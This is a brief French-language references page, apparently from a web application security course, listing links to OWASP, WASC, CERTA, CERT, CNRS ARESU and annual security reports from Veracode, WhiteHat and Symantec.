-  v 1.0 Classification des attaques en 7 types  
-  v 2.0 Attaques et vulnérabilités 



n  OWASP (Open Web Application Security Project) 
 https://www.owasp.org/index.php/Top_10_2013 
 http://www.owasp.org/index.php/Category:OWASP_Guide_Project 

n  WASC (Web Application Security Consortium) 
 http://www.webappsec.org/projects/threat/classes_of_attack.shtml 

n  CERTA (Centre d’Expertise Gouvernemental de Réponse et de Traitement des Attaques 
Informatiques) 
 http://www.certa.ssi.gouv.fr 

n  CERT (Computer Emergency Response Team) 
 http://www.cert.org 

n  Pôle ARESU CNRS 
 https://aresu.dsi.cnrs.fr/ 

n  Rapport annuel Veracode 
 http://www.veracode.com/resources/state-of-software-security 

n  Rapport annuel WhiteHat   
 http://info.whitehatsec.com/rs/whitehatsecurity/images/statsreport2014-20140410.pdf  

n  Rapport annuel Symantec 
 http://www.symantec.com/fr/fr/security_response/publications/threatreport.jsp  

Sur Internet 
110 
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